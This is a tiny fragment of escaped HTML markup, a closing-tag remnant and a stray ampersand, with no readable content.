/&gt;&
